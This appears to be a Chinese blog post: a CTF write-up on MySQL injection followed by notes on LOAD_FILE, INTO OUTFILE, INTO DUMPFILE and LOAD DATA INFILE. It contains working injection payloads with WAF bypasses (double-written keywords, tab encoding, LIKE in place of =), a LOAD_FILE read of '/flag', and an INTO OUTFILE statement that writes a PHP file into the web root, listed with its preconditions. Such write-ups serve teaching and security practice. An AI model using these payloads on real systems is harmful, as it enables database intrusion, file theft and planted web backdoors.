MySQL 文件读写函数详解:从 CTF 实战到 LOAD_FILE、INTO OUTFILE、LOAD DATA INFILE 应用

本文主要是一些关于MySQL 文件读写相关函数的笔记,是后面的关于复现wordpress中SQL注入导致的未授权RCE漏洞分析的基础,而复现的sql题目是为了引出MySQL 文件读写相关函数的使用,其中的解题思路有不足之欢迎大家指正。

在查询列数时候发现空格、order关键字、注释符-- %0a,%0b,%0c#被过滤,或者在waf中被拦截,最终使用了双写绕过order等关键字替换为空,%09代替空格,

列数为1列

如果直接使用select也会被替换为空,采用双写绕过,判断查询到的结果会在页面输出

根据提示,现在查询第一段flag

想法:or会被替换为空于是采用aornd,发现and和等号被waf禁用了,于是采用like模糊查询

| 语句 | 含义 |
| LIKE 'a%' | a 开头 |
| LIKE '%a' | a 结尾 |
| LIKE '%a%' | 包含 a |

LIKE 'a_' a 后面 1 个字符

第一段flag使用这样的方法得到:拼接如下

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/
group_concat('~',column_name)/**/from
/**/information_schema.columns/**/where/**/table_schema/**/
like/**/'secret'/**/and/**/table_name/**/like/**/'password'--	'

查询到所有字段名,发现有flag字段

得到第一段flag

第二段:位于 当前数据库score表,学生pkwsec的成绩(grade)

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/group_concat('~',column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/AND/**/table_name/**/like/**/'score'--	

接下来就成功查询到第二个

至于第三段:提示说明:第三段flag位于 /flag,说明服务器文件系统中的根目录下存在一个名为 flag的文件。

拼接后

复制代码
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/LOAD_FILE('/flag')--	'

1. LOAD_FILE()

作用:读取 MySQL 服务器上的文件内容,并将读取到的内容作为字符串返回。

基本格式:SELECT LOAD_FILE('文件路径');

示例

复制代码
SELECT LOAD_FILE('/tmp/test.txt');

假设服务器上的 test.txt 内容是:hello mysql,执行后,LOAD_FILE() 会读取这个文件,并返回:hello mysql


2. INTO OUTFILE

作用:将 SQL 查询产生的结果写入服务器上的文件。但文件保存路径并不是一定可以任意指定。实际可写路径会受到****secure_file_priv、MySQL 用户权限以及操作系统文件权限等条件限制。

基本格式: SELECT 查询内容 INTO OUTFILE '文件路径';

示例

复制代码
SELECT 'hello mysql' INTO OUTFILE '/tmp/test.txt';

执行后,会将查询结果写入服务器上的 /tmp/test.txt。文件内容:hello mysql

注意:

INTO OUTFILE 并不是任意情况下都能把文件保存到指定的路径 。主要受 secure_file_priv****限制。

secure_file_priv 的几种情况

secure_file_priv = 某个目录:文件操作限制在这个目录

secure_file_priv = NULL**: 通常表示不允许相关文件操作**

secure_file_priv = 空字符串:通常表示不限制目录

由sql注入导致的rce

把 PHP 一句话代码通过 MySQL 写入到服务器磁盘文件,实现写 Web 后门,只有拥有****FILE 权限的数据库账号,才能使用 INTO OUTFILE

复制代码
SELECT '<?php echo "RCE"; ?>' INTO OUTFILE '/var/www/html/test.php';

实现前提:存在 SQL 注入漏洞,能够让数据库执行攻击者构造的 SQL 语句。

  1. 当前 MySQL 账号具备FILE权限。
  2. Web 服务与 MySQL 服务部署在同一台服务器。
  3. secure_file_priv配置不为 NULL,允许文件导出。
  4. MySQL 进程用户对目标 Web 目录拥有写入权限。
  5. 目标路径为网站可访问的物理绝对路径。
  6. 目标文件不存在,不会触发文件已存在报错。
  7. SQL 注入环境支持分号堆叠执行多条 SQL 语句。

只要任意一条不满足,语句执行失败,无法生成 Web 后门。


3. INTO DUMPFILE

作用:将查询结果以原始数据形式写入服务器上的文件。它和 INTO OUTFILE 都可以用于写文件,但 DUMPFILE 更适合输出单个值或二进制数据。

基本格式:SELECT 查询内容 INTO DUMPFILE '文件路径';

示例

复制代码
SELECT 'hello mysql' INTO DUMPFILE '/tmp/test.bin';

执行后,会将查询得到的数据写入服务器上的 /tmp/test.bin。

INTO DUMPFILE:将数据以原始形式写入服务器文件。


4. LOAD DATA INFILE

作用**:** 将服务器上的文件数据导入****MySQL 数据表 。

基本格式: LOAD DATA INFILE '文件路径' INTO TABLE 表名;

示例

假设服务器上的 /tmp/data.txt 内容为:

1,Tom

2,Jack

3,Alice

可以使用:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;将文件中的数据导入 users 表。如果文件中的字段使用逗号分隔,可以进一步指定:

复制代码
LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users FIELDS TERMINATED BY ',';

总结:

  1. LOAD_FILE(),读取服务器文件:SELECT LOAD_FILE('/tmp/test.txt');

  2. INTO OUTFILE,将查询结果写入文件:SELECT 'hello' INTO OUTFILE '/tmp/test.txt';

  3. INTO DUMPFILE,将数据以原始形式写入文件:SELECT 'hello' INTO DUMPFILE '/tmp/test.bin'

  4. LOAD DATA INFILE,将服务器文件中的数据导入表:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;

  5. LOAD DATA LOCAL INFILE

和 LOAD DATA INFILE 类似,但重点区别是:LOCAL 表示数据文件来自客户端,而不是 MySQL 服务器。

基本格式:

LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名;

相关推荐
大鳥3 小时前
JSON 解析最佳实践:从入门到生产级优化
hive·sql·spark·json
pjj198543 小时前
Spark SQL 核心知识详解:DataFrame、DSL 与数据源
大数据·sql·spark
凤山老林3 小时前
授权模型只会RBAC?深入 ABAC 授权模型,实现权限判断做成策略引擎
大数据·数据库·算法
geovindu3 小时前
sql:SQL Views and Materialized Views using mysql 9.0
大数据·数据库·数据仓库·sql·mysql·数据库开发·数据库架构
梦影_3 小时前
MySQL进阶教程(二)—— 储存过程与触发器(下)
开发语言·数据库·后端·sql·mysql·oracle·数据库开发
工业涂料百问3 小时前
陶瓷涂料的光泽度怎么检测?20°、60°、85° 三个角度怎么选
数据库
科创致远4 小时前
ESOP 电子作业指导书车间无纸化实战评测
大数据·数据库·人工智能·制造
xiaomuzuirenzhen4 小时前
2027车企数字化岗位项目准备:从SQL数据建模到库存分析看板
大数据·数据库·sql
鸽芷咕4 小时前
从环境搭建到敬礼动作:启元 Q1 SDK 全流程实战与 8 个实测坑排查手册
数据库·ai·机器人·sdk·启元q1
科技研学社4 小时前
服装厂激光开袋机与智能模板机怎么选?核心工序设备深度对比与落地实战
数据库·python